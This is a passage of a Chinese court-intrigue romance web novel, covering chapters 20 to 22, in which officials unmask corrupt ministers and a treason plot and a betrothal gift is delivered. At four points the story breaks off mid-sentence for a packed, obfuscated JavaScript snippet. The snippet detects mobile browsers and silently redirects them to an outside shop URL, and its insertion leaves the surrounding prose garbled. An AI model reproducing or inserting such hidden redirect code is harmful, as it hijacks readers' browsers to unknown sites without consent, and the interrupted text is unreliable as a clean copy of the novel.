圣心难测,如今陛下宠信燕修延,不在意他的散漫无礼,可日后若是燕修延失了宠,这些今日被陛下忽略的“失礼之处”,都可能成为别人攻击他的把柄。 燕修延微耷拉着的眼睛骤然睁大,声音不由得抬高了些,带着几分难以置信:“你还真要管我啊?我凭什么听你的?” 御座上的虞睿祥将两人的互动看在眼里,眼底闪过一丝笑意,提笔沾了沾墨,故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646177|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意帮着谢伟恒说话:“你二人日后便是夫夫,谢卿管你,有何不妥?朕让你嫁给他,便是希望你能跟着他好好学学规矩,收敛些性子,别整天没个正形。” 燕修延瞬间木住了,一张俊朗的脸上满是错愕,眼神直直地看向虞睿祥,满是控诉。 想当年,他提着长枪杀入宫门,帮虞睿祥平定叛乱、稳固江山时,虞睿祥可不是这么说的! 那时候,陛下夸他是“武神再世”“勇冠三军”,把他捧得高高的。 怎么才登基没多久,就嫌他没正形了? 燕修延心里瞬间涌起一股“委屈”,一头扎进了谢伟恒的怀里,脑袋埋在他的衣襟处,故意拖着长长的哭腔喊道:“呜呜呜,陛下欺负人!居然说我没正形,我好生伤心,心都碎了!” 谢伟恒整个人都僵住了,双手抬在半空中,呆呆地看着怀里的人,满脸的错愕与无措,连身体都绷紧了,显然是被燕修延这突如其来的举动惊到了,一时不知该如何回应。 “噗——” 礼部尚书坐了许久,早已口干舌燥,正端着茶盏想喝口茶润润嗓子,听到燕修延这突如其来的“哭诉”,一口茶没忍住,直接喷了出来,溅了面前的案桌一身。 他连忙放下茶盏,躬身向虞睿祥请罪:“陛下,臣失仪了,还请陛下恕罪!” 虞睿祥回过神来,强忍着笑意,摆了摆手,语气故作严肃:“无妨,朕也有些惊着了。” 他在心里暗自腹诽,母后说得对,他实在想不通,谢伟恒到底看上燕修延哪儿了。 倒不是说燕修延不好,只是这性子太过跳脱,说话做事总是出人意料,让人防不胜防。 看看下面,礼部尚书喷了茶,还有几位大臣正捂着嘴,满脸憋笑的模样,甚至有两个吃点心太急的,被点心噎得直咳嗽,场面一度有些混乱。 “燕大人。” 谢伟恒缓过神来,伸出手,轻轻搭在燕修延的肩上,声音带着几分不易察觉的僵硬,“百官都在,你快起来,别闹了。” 燕修延能清晰地感受到怀中人浑身的僵硬,故意使坏,伸出双臂紧紧抱住谢伟恒的腰,脑袋在他怀里蹭了蹭:“我不起来,我受伤了,心受伤了,起不来,除非谢大人哄哄我。” 虞睿祥坐在御座上,看得明明白白,眼底满是了然的笑意,这投怀送抱,倒是正合谢伟恒的心意。 谢伟恒表面上看着一本正经、满脸错愕,怕是心里早就乐开了花,倒是挺能装的。 殿内也有看不惯燕修延这般“做作”模样的大臣,忍不住冷哼一声,语气里满是鄙夷:“还没成婚呢,就做出这般扭捏作态的妇人姿态,简直是辱没皇家门风,有失体统!” 燕修延听到这话,缓缓抬起头来,眼神冷冷地看向那位说话的大臣,嘴角勾起一抹嘲讽的笑意:“呦,敢问这位大人,你不是你娘生的?还是说,你娘不是妇人?” 那位大臣没想到他会突然这么问,愣了一下,下意识地回答:“自然是我母亲生的,我母亲自然是妇人。燕大人突然问这个,所谓何意?” 燕修延故作困惑不解的模样,歪了歪头,语气无辜:“既然大人的母亲是妇人,那大人为何提到‘妇人作态’时,语气里满是不屑与鄙夷?我还以为,大人不是妇人所生,是从石头里蹦出来的呢,所以才这么看不起妇人。” “你!” 那位大臣被他怼得哑口无言,脸色涨得通红,吹胡子瞪眼道,“本官不是这个意思!本官是说,你一个大男人,学妇人那般撒娇扭捏,不成体统,辱没门风!” 他话音刚落,殿内瞬间安静了下来。 虞睿祥、谢伟恒和燕修延眼底的神色齐刷刷地变了。 原本还带着几分看戏的轻松,此刻多了几分冷意与了然。 哦豁。 这可是自己送上门来的好戏。 看来,今日不仅要清算季风及其党羽,这位不知天高地厚的大人,也该一并查查了。 敢在朝堂之上公然诋毁“妇人”,还牵扯到“皇家门风”,怕是背后也藏着不少龌龊事,正好趁今日这个机会,一并挖出来,好好清算了! 20. 小心哪天气出毛病来! 燕修延从谢伟恒怀里直起身,掸了掸衣襟上并不存在的灰尘,姿态慵懒地斜倚着桌案,一双眸子却锐利如鹰隼,直直盯住方才出言讥讽的张大人:“这般干等着实无趣得紧,不如张大人与本官比划一二,也好让百官瞧瞧,您这‘文武双全’的名号,究竟是真是假?” 谢伟恒适时开口,声音清淡却字字诛心:“本官倒还记得,当年张大人金榜题名时,令尊可是逢人便夸耀,说自己生了个光耀门楣、文武双全的好儿子,传得京中无人不知。” 礼部尚书看热闹不嫌事大,抚着胡须笑眯眯地附和:“此言甚是!正好借此机会,看看燕大人的长枪厉害,还是张大人的方天画戟更胜一筹。” “听闻张大人最擅长的便是这方天画戟,今日可得开开眼界了。” 张大人的脸“唰”地一下白了,额角冷汗涔涔。 他那点所谓的“武艺”不过是花架子,平日里只敢在文官面前吹嘘,真要动起手来,连个普通侍卫都比不上,更别说对阵燕修延这个提着长枪闯过宫闱的狠角色。 他慌忙摆手,想要推辞:“陛下,臣……臣今日身体不适,怕是不便……” 可虞睿祥早已看穿他的底细,一锤定音,语气带着不容置喙的威严:“无妨,不过是切磋一二。来人,取方天画戟和长枪来,朕也想看看,究竟是一寸长一寸强,还是一寸短一寸巧。” 张大人只觉双腿发软,悔得肠子都青了,恨不能抽自己两个嘴巴。 方才何必多嘴,平白惹祸上身。 很快,宫人便抬着一杆沉甸甸的方天画戟和一柄亮银长枪上了殿。 张大人硬着头皮上前,单手握住画戟的长柄,勉强提起来舞了两下。 动作僵硬得如同木偶,连最基本的招式都使不出来,惹得殿内不少官员暗自偷笑。 燕修延看得稀奇,挑眉走上前:“这方天画戟有这么难?” 他伸手接过,掂量了两下,手腕轻轻一转,那沉重的画戟便在他手中如同活物一般,虎虎生风地舞了起来,枪尖划破空气,带起阵阵锐响,看得众人眼花缭乱。 舞罢,他随手将画戟抛向张大人,语气带着几分戏谑:“还行吧,不算难。张大人方才演得跟真的似的,别装不会了,接着。” 张大人下意识伸手去接。 可那画戟沉重无比,他根本拿捏不住,刚碰到长柄便手一松,画戟“哐当”一声坠地,锋利的戟尖不偏不倚,正好插进了他的脚面。 “啊——!” 一声凄厉的惨叫响彻金銮殿,惊得众人齐齐一颤。 张大人疼得面目扭曲,豆大的汗珠滚滚而下,脸色惨白如纸,浑身都在抽搐。 燕修延走上前,眉头都没皱一下,伸手握住画戟长柄,猛地一拔,鲜血瞬间溅出。 他将画戟扔到一旁,扛着自己的长枪,居高临下地看着痛不欲生的张大人,语气凉薄:“张大人,这戏是不是演得有点太假了?” 虞睿祥皱了皱眉,抬手吩咐道:“传太医。” 宫人连忙上前,七手八脚地搀扶着疼得说不出话的张大人回到座位上。 就在这时,燕修延眼尖,瞥见地上滚落了一块莹白的玉璜。 他弯腰拾起,指尖摩挲着玉璜温润的表面,啧啧称奇:“这玉璜的材质可不凡啊,触手生温,竟是极品暖玉?” 他注意到玉璜的佩绳断开的地方,摸着有些潮湿黏腻,不由得心中一动。 这得多深厚的内力,才能以水为暗器,悄无声息地打断佩绳? 他抬眼望去,正对上谢伟恒微微垂下的眼帘。 谢伟恒不动声色地收回搭在杯口的手,指尖捻了捻,似乎在抹去什么,眼底一片平静,仿佛什么都没做过。 礼部尚书凑上前来,接过玉璜端详片刻,脸色骤然一变,声音都有些发紧:“这……这似乎是西域进贡的贡品暖玉!” 他不敢怠慢,连忙捧着玉璜交给宫人,呈到御座之上。 虞睿祥接过玉璜,指尖轻抚过上面精致的纹路,沉声问道:“贡品?” 礼部尚书犹豫片刻,还是实话实说道:“回陛下,若臣没有记错,这对暖玉璜是先帝六十大寿时,西域诸国进贡的珍品,一对两块,触手生温,世间罕见。当时先帝十分喜爱,赏给了……” 他话未说完,谢伟恒便一语道破:“赏给了晋王。” 此言一出,满殿哗然。 张大人更是两眼一翻,差点晕死过去,偏偏一个宫人眼疾手快,死死掐住他的人中,还不忘轻轻扇着他的脸,嘴里不停念叨:“张大人醒醒!醒醒啊!” 张大人被掐得生疼,勉强睁开眼,看到虞睿祥那双冰冷的眸子,吓得魂飞魄散。 “噗通”一声跪倒在地,拼命磕头:“陛下饶命!臣冤枉啊!这块玉璜是别人送给臣的,臣真那人怎么得来的!” 一直沉默不语的沈丞相缓缓开口,声音苍老却字字清晰:“老臣依稀记得,三年前晋王举办诗会,张大人在会上作了一首应景的诗,深得晋王欢心,当时晋王确实赏了一块暖玉璜给张大人。” 他话音刚落,几位当年也参加过诗会的老臣纷纷点头附和:“确有此事!老臣也记得!” 就在这时,张大人像是抓住了救命稻草,突然指向殿内另一侧的许大人,嘶声大喊:“陛下!是他!这块玉璜是许大人送给臣的!” “臣在许大人家中,见过另一块一模一样的!” 许大人脸色骤变,猛地站起身,高声辩解:“陛下!臣冤枉!张大人血口喷人!” 可他的辩解苍白无力。 燕修延倚在柱子上,抱着胳膊,看得津津有味,忍不住感叹了一句:“好家伙,真是精彩啊。” 还有谁记得,大家齐聚在这里原是因为他? 虞睿祥根本不给他多说的机会,直接下令:“来人,即刻去许大人府上搜查!” 他顿了顿,又补充道,“既然许卿说自己是被冤枉的,那便也搜一搜张卿的府邸,看看剩下的那块玉璜,究竟在谁家!” 旨意一下,侍卫们立刻领命而去。 大理寺少卿便带着人证物证匆匆进宫,正巧碰见张大人和许大人被脱去官服,狼狈不堪地被侍卫押着往外走。 搜查的结果很快便出来了。 另一块暖玉璜,果然在许大人府上搜出,同时被搜出的,还有他与晋王私下往来的密信,字里行间全是谋逆之言。 而张大人的府上,更是搜出了数不清的金银珠宝、田产地契,价值连城。 稍加审问,他便一五一十地招认,这些全都是他多年来贪污受贿所得。 大理寺少卿看着眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646178|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一幕,不由得苦笑一声,喃喃自语:“好家伙,本官不过是去查了个季风,竟错过了这么多好戏?” 虞睿祥抬眸看向他,沉声问道:“季风一案,查得怎么样了?” 大理寺少卿神色一肃,躬身禀报道:“启禀陛下,臣已查明,燕大人所言句句属实,并无半句虚言!” 他将手中的供词呈上,继续说道:“那强抢民女一案,臣传了受害女子前来问话,对方将前因后果一五一十尽数道出,主谋正是季风的儿子。” “还有那余氏,她的孩子确实是季风的骨肉,季风曾承诺她,待事成之后,便将她接入府中,封为正室。” 大理寺少卿看向面如死灰的季风,语气带着几分冷意:“那余氏只求能带着孩子平安度日,不愿再与官宦之家扯上半点关系,是以才肯出面作证。” “至于科考行贿之事,也已查实,确是季风父子所为,当年的考官、监场御史,皆已招认。” 大理寺少卿顿了顿,又道,“臣自作主张,命人搜查了季大人的府邸,在府中后院的大树下,挖出了大量私铸的铜钱!这些私铸钱比官铸的要薄上一些,字迹模糊,一旦流入市面,必扰乱我朝金融!” “经拷打,季府管家已全部招认。” 大理寺少卿声音朗朗,响彻殿内,“他们偷偷运了一千贯私铸钱,藏入燕大人的府邸,意图栽赃陷害;剩下的十九千贯,原本打算分次兑换成现银或银票,送往晋王殿下的府上!” 燕修延闻言,缓步走到季风面前,居高临下地看着他,似笑非笑:“季大人,你把私铸钱藏到我府上,就不怕我发现?还有你自己做下的那些龌龊事,怎么就有胆子捅出来,还安到我的头上?” 他像是突然想起来什么似的,一拍脑门,语气满是嘲讽:“哦,我忘了,你的功名,本就是靠行贿舞弊得来的,脑子不好使,也实属正常。” 虞睿祥目光锐利如刀,死死盯住季风,一字一句问道:“是晋王让你这么做的?” 季风浑身颤抖,脸色白得像纸,嘴唇哆嗦着,却还在嘴硬:“没有……没有人指使臣!是臣自己!那些私铸钱,晋王殿下也没有收!是臣看不惯燕修延仗势欺人,是以想帮陛下……” “仗势欺人?说谎也要像点样子,陛下不约束我,是因为我比你有用——至少,我不会科考行贿。” 燕修延打断他的话,嗤笑一声,拿起一块糯米点心,走到他身边,俯下身,用只有两人能听见的声音说道。 “就算你一力担下所有罪名,你家里的人,也都逃不掉。他们手上沾的人命,可不止一条。杀人偿命、天经地义,季大人。” 说完,他毫不留情地将那块糯米点心塞进季风的嘴里:“季大人别急,慢慢吃。去大牢里等着,你的家人很快就会来陪你了。 季风心中大急,想要开口辩解,却被噎得直翻白眼,越是挣扎,越是呛得厉害,满脸涨得通红,狼狈至极。 虞睿祥看着燕修延这副模样,又气又笑,抬手点了点他,没好气道:“比你有用的人,大有人在。监察司指挥使一职还空着,你明天便去上任吧,省得你整日游手好闲,气的朕肺叶子疼。” 燕修延眼睛一亮,转头看向谢伟恒,挑眉扬声道:“听见没?谢大人,我劝你以后别管我,小心哪天被我气出毛病来!得不偿失。” 21. 大婚那日,燕修延就知道 谢伟恒抬眼,漆黑的眼底漾着浅浅的笑意,映出燕修延那副无赖又张扬的模样,语气带着几分不容置喙的认真:“陛下让你向本官学习规矩,本官自然要好好管你。” 燕修延闻言,气得磨牙,翻了个大大的白眼,低声嘟囔:“半点不知变通!” 礼部尚书在一旁听得真切,抚掌大笑道:“若燕大人能从谢大人那里学得三分沉稳,陛下绝对对你刮目相看!” 虞睿祥勾着唇角,笑意染眉,故意拆台:“学得到一分,朕就绝对对他刮目相看。” 满朝文武都心照不宣地笑了。 谁不知道燕修延天生反骨,这辈子怕是都学不会谢伟恒的半分端方持重。 虞睿祥更是清楚,别说一分,便是半分,谢伟恒也舍不得真的管教燕修延。 他常私下打趣,若谢伟恒真能把燕修延管得服服帖帖,他这皇位都能让给燕修延坐。 “哈哈哈!” 礼部尚书带头笑出声,朝堂上顿时充满了爽朗的笑声,谁也没再看一眼被脱去官袍、狼狈拖走的季风。 此前跟风跳出来附和季风的两名官员,早已吓得缩成一团,恨不得把自己埋进桌案底下,只盼着陛下能忘了这茬。 可惜,虞睿祥的记性好得很。 他瞥了那两人一眼,淡淡吩咐:“大理寺少卿,这两位卿家与季风走得颇近,也一并查查,看看有没有收受季风的贿赂。” 大理寺少卿闻言,嘴角抽了抽,只觉得自己活像一头任劳任怨的老黄牛,忙得脚不沾地。 他暗自咬牙,等燕修延和谢伟恒大婚那日,他一定要闹个天翻地覆,狠狠讨回这几日的辛苦! “天色不早了,今日这场闹剧也算热闹。” 虞睿祥站起身,朗声道,“朕已命御膳房备下膳食,诸卿用完膳再出宫吧。” 一句话,让御膳房的宫人忙得脚不沾地,恨不能生出三头六臂。 很快,殿中央便铺展开红毯,穿着轻盈纱衣的舞姬翩跹起舞,玉袖翻飞,舞姿曼妙。 虞睿祥面带笑意地欣赏着,心情颇好。 燕修延是个闲不住的性子,他凑到谢伟恒耳边,压低声音,语气带着几分促狭:“我敢肯定,今日这场歌舞过后,后宫怕是要添一两位答应了。” 温热的气息拂过耳侧,带着淡淡的点心甜香,谢伟恒只觉得那处格外滚烫。 再等等,等大婚那日,就能光明正大地把人就地正法了。 “燕大人操的心未免太多了。”他声音微哑,带着几分不易察觉的喑哑。 燕修延摸了摸后颈,莫名觉得一阵凉意,像是有人在背后盯着他似的。 坐在礼部尚书旁边的官员,忍不住低声凑趣:“宁大人,今日谢大人似乎与往常大不相同啊。” 礼部尚书很烦这种拐弯抹角的话题,直白道:“废话!要是你未过门的妻子被人合伙泼脏水,你会干看着?谢大人看似没袒护,实则句句都在帮燕大人说话,这才是高明之处。” 旁边另一位官员连忙附和:“宁大人所言甚是!谢大人只是实话实说,却字字珠玑,直接戳破了季风的谎言。” 燕修延耳力极好,将两人的对话听了个大概。 他瞥见那官员偷偷往这边看了好几眼,顿时孩子气上来,扒拉着下眼睑,冲着那人做了个鬼脸。 谢伟恒看在眼里,无奈地轻拢眉头,拿起一块蟹粉酥,语气带着几分诱哄:“燕大人,这蟹粉酥你若不吃……” “这是我的!谢大人你不许跟我抢!” 燕修延的注意力瞬间被勾走,伸手就把蟹粉酥抢了过来,护在怀里,像只护食的小兽。 “哈哈哈!” 御座上的虞睿祥笑得开怀,看向谢伟恒的目光满是戏谑,这个谢伟恒,真是什么醋都要吃。 众人只当陛下是被歌舞逗乐了,也纷纷附和着夸赞舞姬的舞姿精妙,殿内气氛愈发热络。 燕修延埋着头,吃得不亦乐乎,还不忘伸手去抢谢伟恒碟子里的水晶虾饺。 一边抢一边理直气壮:“文人整日里案牍劳形,不怎么动弹,肉食吃多了积食,我替你分担些,不用谢。” 谢伟恒无奈地摇摇头,端起酒杯浅酌一口,眼底却盛满了笑意。 等大婚那日,燕修延就知道,他到底动不动弹了。 燕修延啃着虾饺,后颈又莫名一凉,他忍不住打了个寒颤。 奇了怪了,难不成宫里真有什么脏东西缠上他了? 一会得找国师好好看看才行。 此时,国师府里,严瑾川早已睡得昏沉,却被一阵急促的摇晃惊醒。 “醒醒醒醒!国师大人醒醒嘿!” 燕修延揪着他的衣领,使劲晃了晃,差点把他的脖子晃断。 严瑾川在梦里只觉得地动山摇,还以为是地龙翻身了。 迷迷糊糊地往床底下爬,嘴里还喊着:“地龙翻身了!地龙翻身了!快躲啊!” “国师大人,醒醒啊喂!” 燕修延见他不醒,抬手就往他后背拍了一巴掌。 严瑾川被打得一激灵,彻底醒了,也彻底懵了。 他揉着眼睛,看清来人,顿时气不打一处来:“有刺客——不对,是燕大人?大晚上的不睡觉,跑来扰人清梦,你是不是闲得慌!” 燕修延神神叨叨地凑近,压低声音:“国师大人,我今天总觉得后颈发凉,阴风阵阵的,你快帮我看看,是不是有什么脏东西缠着我了?” 严瑾川两眼一瞪,没好气道:“我看你才像个脏东西!大半夜的跑来吓唬人!” 燕修延不依不饶,拽着他的袖子不放:“赶紧的!我听说脏东西会吸人精气,我还没成亲呢,可不能被吸成干巴鬼!” 严瑾川被缠得没办法,随意掐了几下手指,敷衍地摆摆手:“燕大人福泽深厚,百邪不侵,外邪近不了你的身。你约莫是昨夜没盖好被子,着了点风,回去喝碗姜汤就好了。” 燕修延想起早上在榻边捡到的掉落的被子,这才勉强信了,点点头:“那行,你继续睡吧。” 严瑾川刚躺下,准备补个好觉,床边却又凭空出现一个人影。 他气得抓起枕头就砸了过去:“你夫夫二人就不能凑一块儿来吗!非得半夜轮番折腾我!” 谢伟恒稳稳接住枕头,开门见山:“他找你问了什么?” “放心,没问提前算日子的事,问了我也不会说。” 严瑾川没好气道,“他说后脖子凉,怕有脏东西缠他,我看啊,那脏东西不是别人,就是你吧?整日里盯着人家,目光都快黏在他身上了。” 谢伟恒淡淡道了声“谢了”,从袖中取出一锭银子,放在床头。 严瑾川看着那锭白花花的银子,脸上的不快瞬间烟消云散,阴转晴的速度比翻书还快。 他掂了掂银子,笑眯眯地拱手:“客气什么!你脚步快些,还能追得上他。” 谢伟恒唇边勾起一抹浅淡的笑意:“无妨,他在等我。” 严瑾川笑着点头,心里却嗤之以鼻。 燕修延那性子,能乖乖等人才怪! 腿瘸屁股疼——不可能! 屋里终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晋王猛地一拍桌子,上好的紫檀木桌案瞬间裂开一道缝隙,语气中的怒意几乎要凝成实质。 “王爷,季府的管家招了,这两日季乐允曾多次出府,行踪诡秘。”一名侍卫躬身回话,声音低哑。 屋内众人的目光,齐刷刷地落在坐在晋王下首的季乐允身上,带着审视与怀疑。 季乐允脸色一白,猛地站起身,急切辩解:“不可能!这两日我一直待在殿下府上,寸步未离,何曾出去过!” “会不会是看错了?或许只是身形相似的人。”有人连忙打圆场。 “是啊王爷,这两日我们一直与季公子在一处,他确实不曾离开过王府。” 晋王沉着脸,手指轻轻敲击着桌案,眼底闪过一丝阴鸷。 他知道季乐允没有撒谎,这其中定有蹊跷。 他冷冷吩咐:“派人去大牢里,把事情问清楚。记住,今天被抓的人里,除了张若还有用,其他的,一个都不能留,以免夜长梦多,泄露了不该泄露的东西。” 侍卫领命,悄无声息地退了出去。 与此同时,京城护城河上的一处精致画舫中,灯火通明,酒香四溢。 魏仲泽与李想对坐饮酒,船外水波荡漾,船内气氛却带着几分诡谲。 李想抬手,缓缓撕下脸上的人皮面具,那人皮面具露出一张与季乐允一模一样的脸,连眼角的痣都分毫不差。 魏仲泽端起酒杯,浅酌一口,唇角勾起一抹玩味的笑意:“晋王能不能加入我这边,就看他接下来,会怎么走这步棋了。” 22. 未免也太小气了些 燕修延打着哈欠,指尖刚勾住门环,就见门外立着的人影抬手欲叩,不是谢伟恒是谁。 他懒洋洋地掀了掀眼皮,倚着门框笑道:“呦,早啊谢大人。” “您这孤身一人,既无小厮通报,又无管家传话,便是把这门板敲破了,我在里屋怕也是听不见的。今个儿是什么风,竟把您这位大忙人吹到我这小破院子来了?” 谢伟恒没应声,只将手中一个紫檀木盒子递了过来,语气平淡得像在说今日天气:“来下聘。” 燕修延挑眉,伸手掂了掂那盒子,入手不算沉,他顿时露出一脸狐疑:“谢大人莫不是拿我寻开心?这里面不会就装了几两碎银吧?” “不止。” 谢伟恒唇角微扬,难得带了点笑意,“有几十两。” 燕修延嘴角一抽,差点没绷住脸上的表情,哭笑不得道:“行,多谢谢大人,还知道给我涨涨身价。成吧,先进来说话。” “不必了。” 谢伟恒摇头,“府上刚备好朝食,去那说?” “哦,那敢情好。” 燕修延毫不客气,抱着盒子就拽住了谢伟恒的衣袖,活脱脱一副要去蹭吃蹭喝的模样,半点不见客气。 墙根下,一个乞儿蹲在阴影里,目光落在燕修延怀中的盒子上。 他估摸着眼熟的大小,心里嗤笑一声,这般小巧的盒子,顶天了也就装几十两碎银,不值当费心。 他端起身前豁了口的破碗,不屑地撇撇嘴,顺着墙根慢悠悠走远了。 谢家府邸,刚落座,燕修延就迫不及待地打开了盒子,嘴里还念叨着:“我的陪嫁可有几十箱呢,谢大人就拿几十两来下聘,未免也太小气了些……” 话音未落,他的声音戛然而止,眼睛倏然睁大,像是见了什么不可思议的东西。 他难以置信地把盒中那张红彤彤的聘书拿起来,又匆匆放回,手忙脚乱地合上盒子,嘴里喃喃自语:“我这是眼聋了,还是耳瞎了?” 不然,他怎么会看见那聘书下面,压着一沓子明晃晃的银票?最上面那一张,赫然是一万两的面额! 燕修延闭了闭眼睛,深吸一口气,再次打开盒子。 他先拿起聘书,底下露出来的,依旧是一张一万两的银票。 他颤抖着手往下翻,一张、两张、三张……竟全是一万两的面额! “我大约……还没睡醒……” 燕修延越数心越惊,指尖都有些发颤,这盒子里,竟足足有几百张! 他猛地抬头,看了眼紧闭的屋门,连忙捧着盒子挪到谢伟恒身边的凳子上,压低了声音,语气里满是惊疑:“谢伟恒,你老实说,这些钱你是不是贪来的?陛下知道吗?” 朝堂上谁人不知,前些日子谢伟恒还愁眉苦脸地说,拿不出对等的聘礼,怎么一转眼,就掏出了几百万两?这也太离谱了! 谢伟恒闻言,握住他微凉的手腕,俯身凑近,温热的气息拂过燕修延的耳畔,声音低沉而富有磁性:“不过几百万两,燕大人未免太瞧不起江南谢家了。” 他顿了顿,指尖轻轻摩挲着燕修延腕间细腻的皮肤,语气带着一丝蛊惑:“燕大人放心,嫁入谢家,自不会亏待你。” 燕修延浑身一僵,猛地身体后仰,拉开两人之间的距离,警惕地看着他,像只炸了毛的猫:“谢大人,你这话,怎么听着像那诱导良民为娼的老鸨?” 谢伟恒低笑一声,也不恼,反而好整以暇地看着他:“燕大人若不想要,大可把聘礼还给我。” “要!怎么不要!” 燕修延立刻抱紧了盒子,像是抱着什么稀世珍宝,到手的银子哪有还回去的道理,管他谢伟恒打的什么主意,进了他口袋的东西,就别想再掏出去!他死死搂着盒子,生怕谢伟恒反悔。 他这才腾出空,仔细打量那张聘书。 上面的字迹遒劲有力,笔力雄浑,显然远在谢伟恒之上。 “我父亲的手笔。” 谢伟恒适时开口,“名字,是我昨日早上添的。” 燕修延看看聘书,又看看谢伟恒,心里莫名升起一股怪异的感觉。 江南谢家离京城千里之遥,这聘书,难不成是提前写好的? 谢父又为何要提前写下这聘书? 谢伟恒自然看穿了他心中的疑虑,却没打算过多解释,有些事,说早了,怕是要把人吓跑。 他只是拿起桌上的象牙箸,夹了一个灌汤包,递到燕修延面前。 碟子里总共就四个灌汤包,都是燕修延最爱的口味,被他夹走一个,就只剩下三个了。 燕修延瞬间把那些乱七八糟的疑虑抛到了九霄云外,他把盒子小心翼翼地放在腿上, 只手扶着,另一只手拿起筷子,开始风卷残云般横扫桌上的朝食 蟹黄包、水晶饺、烧卖、小米粥……凡是能吃的,全往嘴里塞。 谢伟恒看着他狼吞虎咽的模样,眼底的笑意藏都藏不住,索性把自己面前的碟子往他那边推了推。 一顿饭吃得酣畅淋漓,燕修延拍了拍圆滚滚的肚子,心满意足地抱起盒子,冲着谢伟恒扬了扬下巴:“多谢谢大人的招待~” 话音未落,他足尖一点,身形灵巧地跳上了房顶,几个起落就朝着自家宅子的方向去了。 临走前还不忘丢下一句:“晌午记得做好饭,叫我一声!” 谢伟恒站在院子里,看着他远去的背影,唇边漾开一抹温柔的笑意,低声应道:“好。” 燕修延一路风风火火地回了家,刚踏进院子,就开始琢磨起来。 以前没钱,宅子空荡也无所谓,如今他怀里揣着几百万两银票,干娘那里还有几十箱陪嫁,这么大的宅子,要是进了贼,他怕是哭都来不及。 得把燕伯接过来守着才行。 燕修延越想越觉得不安,这么多钱,万一被人偷了,揣着钱跑的远远的,那他岂不是要亏死? 光是想想,他就心里堵得慌。 当务之急,是找个隐蔽的地方把钱藏起来,还得分开藏,免得被人一锅端了。 他转身回屋,翻出一把铁锹,扛在肩上就往后院走。 刚把铁锹往土里一插,准备挖坑,他却猛地抬头,目光锐利地望向西南方向。 那里的墙头,似乎有微弱的动静。 不过片刻,一道黑影便轻盈地翻了过来,稳稳落在地上,对着燕修延拱手道。 “头儿!” 来人正是温瑞,他脸上带着几分兴奋:“昨晚有人摸进大牢了!那季风也是个软骨头,真就什么都跟那人说了!” 燕修延眸光微沉,温瑞又接着道:“原本弹劾你的罪名,远不止这些,是季乐允暗中让人改了,才只留了那几条不痛不痒的!” 他顿了顿,又补充道:“那杀手用鹤顶红骗季风,说是假死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646180|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药。他前脚刚走,躲在暗处的柳岚就立刻出来,给季风催吐,又喂了吊命的药,这才没出人命。” “我跟着那杀手一路,竟跟到了晋王府中。” 温瑞压低声音,语气带着几分惊叹,“晋王得知消息后,手里的茶盏都摔碎了,只说了一句‘中计了’!” 他凑上前,拍了个马屁:“头儿,你这计策,真是绝了!不过晋王府里的巡逻比以前严密了数倍,我怕暴露行踪,只在暗处听了几句,就赶紧撤了。” 燕修延眼底闪过一丝精光:“我得进宫一趟。” 他之前就打探到,季风准备好的罪名就是那些,如今看来,暗中定然还有其他人在推波助澜。 进了皇宫,宫人见了他,连忙行礼:“燕大人,陛下正在同沈丞相议事,您不如先去偏殿稍等片刻?” 燕修延抱着那个装着几百万两银票的盒子,点点头,径直去了偏殿。 方才在谢伟恒家吃的太饱,此刻困意阵阵袭来。 燕修延也不客气,直接靠在软榻的椅背上,没一会儿就睡了过去,呼吸均匀,睡得香甜。 不知过了多久,殿门被轻轻推开,虞睿祥的声音传来:“朕就猜到,你定是在这里睡觉。这个时候进宫,有什么要事?” 燕修延被吵醒,迷迷糊糊地伸了个懒腰,揉了揉眼睛,这才清醒过来。 他看着虞睿祥,开门见山道:“陛下,臣怀疑,这次的事情,没那么简单。螳螂捕蝉黄雀在后,但黄雀后面那双手,会不会是李想背后的人?” 虞睿祥目光一凛,挥了挥手,让殿内的宫人都退下。 殿门关上,他才沉声道:“此话怎讲?” 燕修延便将季风招供的事情、以及晋王摔碎茶盏的反应,一五一十地说了一遍。 虞睿祥听后,却没什么太大的反应,只是淡淡道:“朕的兄弟们,各有各的本事,藏着掖着的,也不在少数。” 燕修延追问:“陛下觉得,会是谁?” 虞睿祥排行第四,登基前是唯一没有封号的皇子。 太子在逼宫之前就已殒命,除去早夭的二皇子,如今还剩下三皇子晋王、五皇子瑞王、六皇子端王。 虞睿祥沉吟片刻,却说了句废话:“反正不是瑞王。” 